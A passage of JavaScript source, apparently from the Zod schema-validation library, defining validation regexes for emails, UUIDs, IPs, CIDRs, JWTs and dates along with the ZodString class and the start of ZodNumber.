/^[0-9a-fA-F]{8}\\b-[0-9a-fA-F]{4}\\b-[0-9a-fA-F]{4}\\b-[0-9a-fA-F]{4}\\b-[0-9a-fA-F]{12}$/i;\nconst nanoidRegex = /^[a-z0-9_-]{21}$/i;\nconst jwtRegex = /^[A-Za-z0-9-_]+\\.[A-Za-z0-9-_]+\\.[A-Za-z0-9-_]*$/;\nconst durationRegex = /^[-+]?P(?!$)(?:(?:[-+]?\\d+Y)|(?:[-+]?\\d+[.,]\\d+Y$))?(?:(?:[-+]?\\d+M)|(?:[-+]?\\d+[.,]\\d+M$))?(?:(?:[-+]?\\d+W)|(?:[-+]?\\d+[.,]\\d+W$))?(?:(?:[-+]?\\d+D)|(?:[-+]?\\d+[.,]\\d+D$))?(?:T(?=[\\d+-])(?:(?:[-+]?\\d+H)|(?:[-+]?\\d+[.,]\\d+H$))?(?:(?:[-+]?\\d+M)|(?:[-+]?\\d+[.,]\\d+M$))?(?:[-+]?\\d+(?:[.,]\\d+)?S)?)??$/;\n// from https://stackoverflow.com/a/46181/1550155\n// old version: too slow, didn't support unicode\n// const emailRegex = /^((([a-z]|\\d|[!#\\$%&'\\*\\+\\-\\/=\\?\\^_`{\\|}~]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])+(\\.([a-z]|\\d|[!#\\$%&'\\*\\+\\-\\/=\\?\\^_`{\\|}~]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])+)*)|((\\x22)((((\\x20|\\x09)*(\\x0d\\x0a))?(\\x20|\\x09)+)?(([\\x01-\\x08\\x0b\\x0c\\x0e-\\x1f\\x7f]|\\x21|[\\x23-\\x5b]|[\\x5d-\\x7e]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])|(\\\\([\\x01-\\x09\\x0b\\x0c\\x0d-\\x7f]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF]))))*(((\\x20|\\x09)*(\\x0d\\x0a))?(\\x20|\\x09)+)?(\\x22)))@((([a-z]|\\d|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])|(([a-z]|\\d|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])([a-z]|\\d|-|\\.|_|~|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])*([a-z]|\\d|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])))\\.)+(([a-z]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])|(([a-z]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])([a-z]|\\d|-|\\.|_|~|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])*([a-z]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])))$/i;\n//old email regex\n// const emailRegex = /^(([^<>()[\\].,;:\\s@\"]+(\\.[^<>()[\\].,;:\\s@\"]+)*)|(\".+\"))@((?!-)([^<>()[\\].,;:\\s@\"]+\\.)+[^<>()[\\].,;:\\s@\"]{1,})[^-<>()[\\].,;:\\s@\"]$/i;\n// eslint-disable-next-line\n// const emailRegex =\n// /^(([^<>()[\\]\\\\.,;:\\s@\\\"]+(\\.[^<>()[\\]\\\\.,;:\\s@\\\"]+)*)|(\\\".+\\\"))@((\\[(((25[0-5])|(2[0-4][0-9])|(1[0-9]{2})|([0-9]{1,2}))\\.){3}((25[0-5])|(2[0-4][0-9])|(1[0-9]{2})|([0-9]{1,2}))\\])|(\\[IPv6:(([a-f0-9]{1,4}:){7}|::([a-f0-9]{1,4}:){0,6}|([a-f0-9]{1,4}:){1}:([a-f0-9]{1,4}:){0,5}|([a-f0-9]{1,4}:){2}:([a-f0-9]{1,4}:){0,4}|([a-f0-9]{1,4}:){3}:([a-f0-9]{1,4}:){0,3}|([a-f0-9]{1,4}:){4}:([a-f0-9]{1,4}:){0,2}|([a-f0-9]{1,4}:){5}:([a-f0-9]{1,4}:){0,1})([a-f0-9]{1,4}|(((25[0-5])|(2[0-4][0-9])|(1[0-9]{2})|([0-9]{1,2}))\\.){3}((25[0-5])|(2[0-4][0-9])|(1[0-9]{2})|([0-9]{1,2})))\\])|([A-Za-z0-9]([A-Za-z0-9-]*[A-Za-z0-9])*(\\.[A-Za-z]{2,})+))$/;\n// const emailRegex =\n// /^[a-zA-Z0-9\\.\\!\\#\\$\\%\\&\\'\\*\\+\\/\\=\\?\\^\\_\\`\\{\\|\\}\\~\\-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/;\n// const emailRegex =\n// /^(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|\"(?:[\\x01-\\x08\\x0b\\x0c\\x0e-\\x1f\\x21\\x23-\\x5b\\x5d-\\x7f]|\\\\[\\x01-\\x09\\x0b\\x0c\\x0e-\\x7f])*\")@(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|\\[(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?|[a-z0-9-]*[a-z0-9]:(?:[\\x01-\\x08\\x0b\\x0c\\x0e-\\x1f\\x21-\\x5a\\x53-\\x7f]|\\\\[\\x01-\\x09\\x0b\\x0c\\x0e-\\x7f])+)\\])$/i;\nconst emailRegex = /^(?!\\.)(?!.*\\.\\.)([A-Z0-9_'+\\-\\.]*)[A-Z0-9_+-]@([A-Z0-9][A-Z0-9\\-]*\\.)+[A-Z]{2,}$/i;\n// const emailRegex =\n// /^[a-z0-9.!#$%&’*+/=?^_`{|}~-]+@[a-z0-9-]+(?:\\.[a-z0-9\\-]+)*$/i;\n// from https://thekevinscott.com/emojis-in-javascript/#writing-a-regular-expression\nconst _emojiRegex = `^(\\\\p{Extended_Pictographic}|\\\\p{Emoji_Component})+$`;\nlet emojiRegex;\n// faster, simpler, safer\nconst ipv4Regex = /^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/;\nconst ipv4CidrRegex = /^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\\/(3[0-2]|[12]?[0-9])$/;\n// const ipv6Regex =\n// /^(([a-f0-9]{1,4}:){7}|::([a-f0-9]{1,4}:){0,6}|([a-f0-9]{1,4}:){1}:([a-f0-9]{1,4}:){0,5}|([a-f0-9]{1,4}:){2}:([a-f0-9]{1,4}:){0,4}|([a-f0-9]{1,4}:){3}:([a-f0-9]{1,4}:){0,3}|([a-f0-9]{1,4}:){4}:([a-f0-9]{1,4}:){0,2}|([a-f0-9]{1,4}:){5}:([a-f0-9]{1,4}:){0,1})([a-f0-9]{1,4}|(((25[0-5])|(2[0-4][0-9])|(1[0-9]{2})|([0-9]{1,2}))\\.){3}((25[0-5])|(2[0-4][0-9])|(1[0-9]{2})|([0-9]{1,2})))$/;\nconst ipv6Regex = /^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/;\nconst ipv6CidrRegex = /^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))\\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/;\n// https://stackoverflow.com/questions/7860392/determine-if-string-is-in-base64-using-javascript\nconst base64Regex = /^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$/;\n// https://base64.guru/standards/base64url\nconst base64urlRegex = /^([0-9a-zA-Z-_]{4})*(([0-9a-zA-Z-_]{2}(==)?)|([0-9a-zA-Z-_]{3}(=)?))?$/;\n// simple\n// const dateRegexSource = `\\\\d{4}-\\\\d{2}-\\\\d{2}`;\n// no leap year validation\n// const dateRegexSource = `\\\\d{4}-((0[13578]|10|12)-31|(0[13-9]|1[0-2])-30|(0[1-9]|1[0-2])-(0[1-9]|1\\\\d|2\\\\d))`;\n// with leap year validation\nconst dateRegexSource = `((\\\\d\\\\d[2468][048]|\\\\d\\\\d[13579][26]|\\\\d\\\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\\\d{4}-((0[13578]|1[02])-(0[1-9]|[12]\\\\d|3[01])|(0[469]|11)-(0[1-9]|[12]\\\\d|30)|(02)-(0[1-9]|1\\\\d|2[0-8])))`;\nconst dateRegex = new RegExp(`^${dateRegexSource}$`);\nfunction timeRegexSource(args) {\n let secondsRegexSource = `[0-5]\\\\d`;\n if (args.precision) {\n secondsRegexSource = `${secondsRegexSource}\\\\.\\\\d{${args.precision}}`;\n }\n else if (args.precision == null) {\n secondsRegexSource = `${secondsRegexSource}(\\\\.\\\\d+)?`;\n }\n const secondsQuantifier = args.precision ? \"+\" : \"?\"; // require seconds if precision is nonzero\n return `([01]\\\\d|2[0-3]):[0-5]\\\\d(:${secondsRegexSource})${secondsQuantifier}`;\n}\nfunction timeRegex(args) {\n return new RegExp(`^${timeRegexSource(args)}$`);\n}\n// Adapted from https://stackoverflow.com/a/3143231\nexport function datetimeRegex(args) {\n let regex = `${dateRegexSource}T${timeRegexSource(args)}`;\n const opts = [];\n opts.push(args.local ? `Z?` : `Z`);\n if (args.offset)\n opts.push(`([+-]\\\\d{2}:?\\\\d{2})`);\n regex = `${regex}(${opts.join(\"|\")})`;\n return new RegExp(`^${regex}$`);\n}\nfunction isValidIP(ip, version) {\n if ((version === \"v4\" || !version) && ipv4Regex.test(ip)) {\n return true;\n }\n if ((version === \"v6\" || !version) && ipv6Regex.test(ip)) {\n return true;\n }\n return false;\n}\nfunction isValidJWT(jwt, alg) {\n if (!jwtRegex.test(jwt))\n return false;\n try {\n const [header] = jwt.split(\".\");\n if (!header)\n return false;\n // Convert base64url to base64\n const base64 = header\n .replace(/-/g, \"+\")\n .replace(/_/g, \"/\")\n .padEnd(header.length + ((4 - (header.length % 4)) % 4), \"=\");\n const decoded = JSON.parse(atob(base64));\n if (typeof decoded !== \"object\" || decoded === null)\n return false;\n if (\"typ\" in decoded && decoded?.typ !== \"JWT\")\n return false;\n if (!decoded.alg)\n return false;\n if (alg && decoded.alg !== alg)\n return false;\n return true;\n }\n catch {\n return false;\n }\n}\nfunction isValidCidr(ip, version) {\n if ((version === \"v4\" || !version) && ipv4CidrRegex.test(ip)) {\n return true;\n }\n if ((version === \"v6\" || !version) && ipv6CidrRegex.test(ip)) {\n return true;\n }\n return false;\n}\nexport class ZodString extends ZodType {\n _parse(input) {\n if (this._def.coerce) {\n input.data = String(input.data);\n }\n const parsedType = this._getType(input);\n if (parsedType !== ZodParsedType.string) {\n const ctx = this._getOrReturnCtx(input);\n addIssueToContext(ctx, {\n code: ZodIssueCode.invalid_type,\n expected: ZodParsedType.string,\n received: ctx.parsedType,\n });\n return INVALID;\n }\n const status = new ParseStatus();\n let ctx = undefined;\n for (const check of this._def.checks) {\n if (check.kind === \"min\") {\n if (input.data.length < check.value) {\n ctx = this._getOrReturnCtx(input, ctx);\n addIssueToContext(ctx, {\n code: ZodIssueCode.too_small,\n minimum: check.value,\n type: \"string\",\n inclusive: true,\n exact: false,\n message: check.message,\n });\n status.dirty();\n }\n }\n else if (check.kind === \"max\") {\n if (input.data.length > check.value) {\n ctx = this._getOrReturnCtx(input, ctx);\n addIssueToContext(ctx, {\n code: ZodIssueCode.too_big,\n maximum: check.value,\n type: \"string\",\n inclusive: true,\n exact: false,\n message: check.message,\n });\n status.dirty();\n }\n }\n else if (check.kind === \"length\") {\n const tooBig = input.data.length > check.value;\n const tooSmall = input.data.length < check.value;\n if (tooBig || tooSmall) {\n ctx = this._getOrReturnCtx(input, ctx);\n if (tooBig) {\n addIssueToContext(ctx, {\n code: ZodIssueCode.too_big,\n maximum: check.value,\n type: \"string\",\n inclusive: true,\n exact: true,\n message: check.message,\n });\n }\n else if (tooSmall) {\n addIssueToContext(ctx, {\n code: ZodIssueCode.too_small,\n minimum: check.value,\n type: \"string\",\n inclusive: true,\n exact: true,\n message: check.message,\n });\n }\n status.dirty();\n }\n }\n else if (check.kind === \"email\") {\n if (!emailRegex.test(input.data)) {\n ctx = this._getOrReturnCtx(input, ctx);\n addIssueToContext(ctx, {\n validation: \"email\",\n code: ZodIssueCode.invalid_string,\n message: check.message,\n });\n status.dirty();\n }\n }\n else if (check.kind === \"emoji\") {\n if (!emojiRegex) {\n emojiRegex = new RegExp(_emojiRegex, \"u\");\n }\n if (!emojiRegex.test(input.data)) {\n ctx = this._getOrReturnCtx(input, ctx);\n addIssueToContext(ctx, {\n validation: \"emoji\",\n code: ZodIssueCode.invalid_string,\n message: check.message,\n });\n status.dirty();\n }\n }\n else if (check.kind === \"uuid\") {\n if (!uuidRegex.test(input.data)) {\n ctx = this._getOrReturnCtx(input, ctx);\n addIssueToContext(ctx, {\n validation: \"uuid\",\n code: ZodIssueCode.invalid_string,\n message: check.message,\n });\n status.dirty();\n }\n }\n else if (check.kind === \"nanoid\") {\n if (!nanoidRegex.test(input.data)) {\n ctx = this._getOrReturnCtx(input, ctx);\n addIssueToContext(ctx, {\n validation: \"nanoid\",\n code: ZodIssueCode.invalid_string,\n message: check.message,\n });\n status.dirty();\n }\n }\n else if (check.kind === \"cuid\") {\n if (!cuidRegex.test(input.data)) {\n ctx = this._getOrReturnCtx(input, ctx);\n addIssueToContext(ctx, {\n validation: \"cuid\",\n code: ZodIssueCode.invalid_string,\n message: check.message,\n });\n status.dirty();\n }\n }\n else if (check.kind === \"cuid2\") {\n if (!cuid2Regex.test(input.data)) {\n ctx = this._getOrReturnCtx(input, ctx);\n addIssueToContext(ctx, {\n validation: \"cuid2\",\n code: ZodIssueCode.invalid_string,\n message: check.message,\n });\n status.dirty();\n }\n }\n else if (check.kind === \"ulid\") {\n if (!ulidRegex.test(input.data)) {\n ctx = this._getOrReturnCtx(input, ctx);\n addIssueToContext(ctx, {\n validation: \"ulid\",\n code: ZodIssueCode.invalid_string,\n message: check.message,\n });\n status.dirty();\n }\n }\n else if (check.kind === \"url\") {\n try {\n new URL(input.data);\n }\n catch {\n ctx = this._getOrReturnCtx(input, ctx);\n addIssueToContext(ctx, {\n validation: \"url\",\n code: ZodIssueCode.invalid_string,\n message: check.message,\n });\n status.dirty();\n }\n }\n else if (check.kind === \"regex\") {\n check.regex.lastIndex = 0;\n const testResult = check.regex.test(input.data);\n if (!testResult) {\n ctx = this._getOrReturnCtx(input, ctx);\n addIssueToContext(ctx, {\n validation: \"regex\",\n code: ZodIssueCode.invalid_string,\n message: check.message,\n });\n status.dirty();\n }\n }\n else if (check.kind === \"trim\") {\n input.data = input.data.trim();\n }\n else if (check.kind === \"includes\") {\n if (!input.data.includes(check.value, check.position)) {\n ctx = this._getOrReturnCtx(input, ctx);\n addIssueToContext(ctx, {\n code: ZodIssueCode.invalid_string,\n validation: { includes: check.value, position: check.position },\n message: check.message,\n });\n status.dirty();\n }\n }\n else if (check.kind === \"toLowerCase\") {\n input.data = input.data.toLowerCase();\n }\n else if (check.kind === \"toUpperCase\") {\n input.data = input.data.toUpperCase();\n }\n else if (check.kind === \"startsWith\") {\n if (!input.data.startsWith(check.value)) {\n ctx = this._getOrReturnCtx(input, ctx);\n addIssueToContext(ctx, {\n code: ZodIssueCode.invalid_string,\n validation: { startsWith: check.value },\n message: check.message,\n });\n status.dirty();\n }\n }\n else if (check.kind === \"endsWith\") {\n if (!input.data.endsWith(check.value)) {\n ctx = this._getOrReturnCtx(input, ctx);\n addIssueToContext(ctx, {\n code: ZodIssueCode.invalid_string,\n validation: { endsWith: check.value },\n message: check.message,\n });\n status.dirty();\n }\n }\n else if (check.kind === \"datetime\") {\n const regex = datetimeRegex(check);\n if (!regex.test(input.data)) {\n ctx = this._getOrReturnCtx(input, ctx);\n addIssueToContext(ctx, {\n code: ZodIssueCode.invalid_string,\n validation: \"datetime\",\n message: check.message,\n });\n status.dirty();\n }\n }\n else if (check.kind === \"date\") {\n const regex = dateRegex;\n if (!regex.test(input.data)) {\n ctx = this._getOrReturnCtx(input, ctx);\n addIssueToContext(ctx, {\n code: ZodIssueCode.invalid_string,\n validation: \"date\",\n message: check.message,\n });\n status.dirty();\n }\n }\n else if (check.kind === \"time\") {\n const regex = timeRegex(check);\n if (!regex.test(input.data)) {\n ctx = this._getOrReturnCtx(input, ctx);\n addIssueToContext(ctx, {\n code: ZodIssueCode.invalid_string,\n validation: \"time\",\n message: check.message,\n });\n status.dirty();\n }\n }\n else if (check.kind === \"duration\") {\n if (!durationRegex.test(input.data)) {\n ctx = this._getOrReturnCtx(input, ctx);\n addIssueToContext(ctx, {\n validation: \"duration\",\n code: ZodIssueCode.invalid_string,\n message: check.message,\n });\n status.dirty();\n }\n }\n else if (check.kind === \"ip\") {\n if (!isValidIP(input.data, check.version)) {\n ctx = this._getOrReturnCtx(input, ctx);\n addIssueToContext(ctx, {\n validation: \"ip\",\n code: ZodIssueCode.invalid_string,\n message: check.message,\n });\n status.dirty();\n }\n }\n else if (check.kind === \"jwt\") {\n if (!isValidJWT(input.data, check.alg)) {\n ctx = this._getOrReturnCtx(input, ctx);\n addIssueToContext(ctx, {\n validation: \"jwt\",\n code: ZodIssueCode.invalid_string,\n message: check.message,\n });\n status.dirty();\n }\n }\n else if (check.kind === \"cidr\") {\n if (!isValidCidr(input.data, check.version)) {\n ctx = this._getOrReturnCtx(input, ctx);\n addIssueToContext(ctx, {\n validation: \"cidr\",\n code: ZodIssueCode.invalid_string,\n message: check.message,\n });\n status.dirty();\n }\n }\n else if (check.kind === \"base64\") {\n if (!base64Regex.test(input.data)) {\n ctx = this._getOrReturnCtx(input, ctx);\n addIssueToContext(ctx, {\n validation: \"base64\",\n code: ZodIssueCode.invalid_string,\n message: check.message,\n });\n status.dirty();\n }\n }\n else if (check.kind === \"base64url\") {\n if (!base64urlRegex.test(input.data)) {\n ctx = this._getOrReturnCtx(input, ctx);\n addIssueToContext(ctx, {\n validation: \"base64url\",\n code: ZodIssueCode.invalid_string,\n message: check.message,\n });\n status.dirty();\n }\n }\n else {\n util.assertNever(check);\n }\n }\n return { status: status.value, value: input.data };\n }\n _regex(regex, validation, message) {\n return this.refinement((data) => regex.test(data), {\n validation,\n code: ZodIssueCode.invalid_string,\n ...errorUtil.errToObj(message),\n });\n }\n _addCheck(check) {\n return new ZodString({\n ...this._def,\n checks: [...this._def.checks, check],\n });\n }\n email(message) {\n return this._addCheck({ kind: \"email\", ...errorUtil.errToObj(message) });\n }\n url(message) {\n return this._addCheck({ kind: \"url\", ...errorUtil.errToObj(message) });\n }\n emoji(message) {\n return this._addCheck({ kind: \"emoji\", ...errorUtil.errToObj(message) });\n }\n uuid(message) {\n return this._addCheck({ kind: \"uuid\", ...errorUtil.errToObj(message) });\n }\n nanoid(message) {\n return this._addCheck({ kind: \"nanoid\", ...errorUtil.errToObj(message) });\n }\n cuid(message) {\n return this._addCheck({ kind: \"cuid\", ...errorUtil.errToObj(message) });\n }\n cuid2(message) {\n return this._addCheck({ kind: \"cuid2\", ...errorUtil.errToObj(message) });\n }\n ulid(message) {\n return this._addCheck({ kind: \"ulid\", ...errorUtil.errToObj(message) });\n }\n base64(message) {\n return this._addCheck({ kind: \"base64\", ...errorUtil.errToObj(message) });\n }\n base64url(message) {\n // base64url encoding is a modification of base64 that can safely be used in URLs and filenames\n return this._addCheck({\n kind: \"base64url\",\n ...errorUtil.errToObj(message),\n });\n }\n jwt(options) {\n return this._addCheck({ kind: \"jwt\", ...errorUtil.errToObj(options) });\n }\n ip(options) {\n return this._addCheck({ kind: \"ip\", ...errorUtil.errToObj(options) });\n }\n cidr(options) {\n return this._addCheck({ kind: \"cidr\", ...errorUtil.errToObj(options) });\n }\n datetime(options) {\n if (typeof options === \"string\") {\n return this._addCheck({\n kind: \"datetime\",\n precision: null,\n offset: false,\n local: false,\n message: options,\n });\n }\n return this._addCheck({\n kind: \"datetime\",\n precision: typeof options?.precision === \"undefined\" ? null : options?.precision,\n offset: options?.offset ?? false,\n local: options?.local ?? false,\n ...errorUtil.errToObj(options?.message),\n });\n }\n date(message) {\n return this._addCheck({ kind: \"date\", message });\n }\n time(options) {\n if (typeof options === \"string\") {\n return this._addCheck({\n kind: \"time\",\n precision: null,\n message: options,\n });\n }\n return this._addCheck({\n kind: \"time\",\n precision: typeof options?.precision === \"undefined\" ? null : options?.precision,\n ...errorUtil.errToObj(options?.message),\n });\n }\n duration(message) {\n return this._addCheck({ kind: \"duration\", ...errorUtil.errToObj(message) });\n }\n regex(regex, message) {\n return this._addCheck({\n kind: \"regex\",\n regex: regex,\n ...errorUtil.errToObj(message),\n });\n }\n includes(value, options) {\n return this._addCheck({\n kind: \"includes\",\n value: value,\n position: options?.position,\n ...errorUtil.errToObj(options?.message),\n });\n }\n startsWith(value, message) {\n return this._addCheck({\n kind: \"startsWith\",\n value: value,\n ...errorUtil.errToObj(message),\n });\n }\n endsWith(value, message) {\n return this._addCheck({\n kind: \"endsWith\",\n value: value,\n ...errorUtil.errToObj(message),\n });\n }\n min(minLength, message) {\n return this._addCheck({\n kind: \"min\",\n value: minLength,\n ...errorUtil.errToObj(message),\n });\n }\n max(maxLength, message) {\n return this._addCheck({\n kind: \"max\",\n value: maxLength,\n ...errorUtil.errToObj(message),\n });\n }\n length(len, message) {\n return this._addCheck({\n kind: \"length\",\n value: len,\n ...errorUtil.errToObj(message),\n });\n }\n /**\n * Equivalent to `.min(1)`\n */\n nonempty(message) {\n return this.min(1, errorUtil.errToObj(message));\n }\n trim() {\n return new ZodString({\n ...this._def,\n checks: [...this._def.checks, { kind: \"trim\" }],\n });\n }\n toLowerCase() {\n return new ZodString({\n ...this._def,\n checks: [...this._def.checks, { kind: \"toLowerCase\" }],\n });\n }\n toUpperCase() {\n return new ZodString({\n ...this._def,\n checks: [...this._def.checks, { kind: \"toUpperCase\" }],\n });\n }\n get isDatetime() {\n return !!this._def.checks.find((ch) => ch.kind === \"datetime\");\n }\n get isDate() {\n return !!this._def.checks.find((ch) => ch.kind === \"date\");\n }\n get isTime() {\n return !!this._def.checks.find((ch) => ch.kind === \"time\");\n }\n get isDuration() {\n return !!this._def.checks.find((ch) => ch.kind === \"duration\");\n }\n get isEmail() {\n return !!this._def.checks.find((ch) => ch.kind === \"email\");\n }\n get isURL() {\n return !!this._def.checks.find((ch) => ch.kind === \"url\");\n }\n get isEmoji() {\n return !!this._def.checks.find((ch) => ch.kind === \"emoji\");\n }\n get isUUID() {\n return !!this._def.checks.find((ch) => ch.kind === \"uuid\");\n }\n get isNANOID() {\n return !!this._def.checks.find((ch) => ch.kind === \"nanoid\");\n }\n get isCUID() {\n return !!this._def.checks.find((ch) => ch.kind === \"cuid\");\n }\n get isCUID2() {\n return !!this._def.checks.find((ch) => ch.kind === \"cuid2\");\n }\n get isULID() {\n return !!this._def.checks.find((ch) => ch.kind === \"ulid\");\n }\n get isIP() {\n return !!this._def.checks.find((ch) => ch.kind === \"ip\");\n }\n get isCIDR() {\n return !!this._def.checks.find((ch) => ch.kind === \"cidr\");\n }\n get isBase64() {\n return !!this._def.checks.find((ch) => ch.kind === \"base64\");\n }\n get isBase64url() {\n // base64url encoding is a modification of base64 that can safely be used in URLs and filenames\n return !!this._def.checks.find((ch) => ch.kind === \"base64url\");\n }\n get minLength() {\n let min = null;\n for (const ch of this._def.checks) {\n if (ch.kind === \"min\") {\n if (min === null || ch.value > min)\n min = ch.value;\n }\n }\n return min;\n }\n get maxLength() {\n let max = null;\n for (const ch of this._def.checks) {\n if (ch.kind === \"max\") {\n if (max === null || ch.value < max)\n max = ch.value;\n }\n }\n return max;\n }\n}\nZodString.create = (params) => {\n return new ZodString({\n checks: [],\n typeName: ZodFirstPartyTypeKind.ZodString,\n coerce: params?.coerce ?? false,\n ...processCreateParams(params),\n });\n};\n// https://stackoverflow.com/questions/3966484/why-does-modulus-operator-return-fractional-number-in-javascript/31711034#31711034\nfunction floatSafeRemainder(val, step) {\n const valDecCount = (val.toString().split(\".\")[1] || \"\").length;\n const stepDecCount = (step.toString().split(\".\")[1] || \"\").length;\n const decCount = valDecCount > stepDecCount ? valDecCount : stepDecCount;\n const valInt = Number.parseInt(val.toFixed(decCount).replace(\".\", \"\"));\n const stepInt = Number.parseInt(step.toFixed(decCount).replace(\".\", \"\"));\n return (valInt % stepInt) / 10 ** decCount;\n}\nexport class ZodNumber extends ZodType {\n constructor() {\n super(...arguments);\n this.min = this.gte;\n this.max = this.lte;\n this.step = this.multipleOf;\n }\n _parse(input) {\n if (this._def.coerce) {\n input.data = Number(input.data);\n }\n const parsedType = this._getType(input);\n if (parsedType !== ZodParsedType.number) {\n const ctx = this._getOrReturnCtx(input);\n addIssueToContext(ctx, {\n code: ZodIssueCode.invalid_type,\n expected: ZodParsedType.number,\n received: ctx.parsedType,\n });\n return INVALID;\n }\n let ctx = undefined;\n const status = new ParseStatus();\n for (const check of this._def.checks) {\n if (check.kind === \"int\") {\n if (!util.isInteger(input.data)) {\n ctx = this._getOrReturnCtx(input, ctx);\n addIssueToContext(ctx, {\n code: ZodIssueCode.invalid_type,\n expected: \"integer\",\n received: \"float\",\n message: check.message,\n });\n status.dirty();\n }\n }\n else if (check.kind === \"min\") {\n const tooSmall = check.inclusive ? input.data < check.value : input.data <= check.value;\n if (tooSmall) {\n ctx = this._getOrReturnCtx(input, ctx);\n addIssueToContext(ctx, {\n code: ZodIssueCode.too_small,\n minimum: check.value,\n type: \"number\",\n inclusive: check.inclusive,\n exact: false,\n message: check.message,\n });\n status.dirty();\n }\n }\n else if (check.kind === \"max\") {\n const tooBig = check.inclusive ? input.data > check.value : input.data >= check.value;\n if (tooBig) {\n ctx = this._getOrReturnCtx(input, ctx);\n addIssueToContext(ctx, {\n code: ZodIssueCode.too_big,\n maximum: check.value,\n type: \"number\",\n inclusive: check.inclusive,\n exact: false,\n message: check.message,\n });\n status.dirty();\n }\n }\n else if (check.kind === \"multipleOf\") {\n if (floatSafeRemainder(input.data, check.value) !== 0) {\n ctx = this._getOrReturnCtx(input, ctx);\n addIssueToContext(ctx, {\n code: ZodIssueCode.not_multiple_of,\n multipleOf: check.value,\n message: check.message,\n });\n status.dirty();\n }\n }\n else if (check.kind === \"finite\") {\n if (!Number.isFinite(input.data)) {\n ctx = this._getOrReturnCtx(input, ctx);\n addIssueToContext(ctx, {\n code: ZodIssueCode.not_finite,\n message: check.message,\n });\n status.dirty();\n }\n }\n else {\n util.assertNever(check);\n }\n }\n return { status: status.value, value: input.data };\n }\n gte(value, message) {\n return this.setLimit(\"min\", value, true, errorUtil.toString(message));\n }\n gt(value, message) {\n return this.setLimit(\"min\", value, false, errorUtil.toString(message));\n }\n lte(value, message) {\n return this.setLimit(\"max\", value, true, errorUtil.toString(message));\n }\n lt(value, message) {\n return this.setLimit(\"max\", value, false, errorUtil.toString(message));\n }\n setLimit(kind, value, inclusive, message) {\n return new 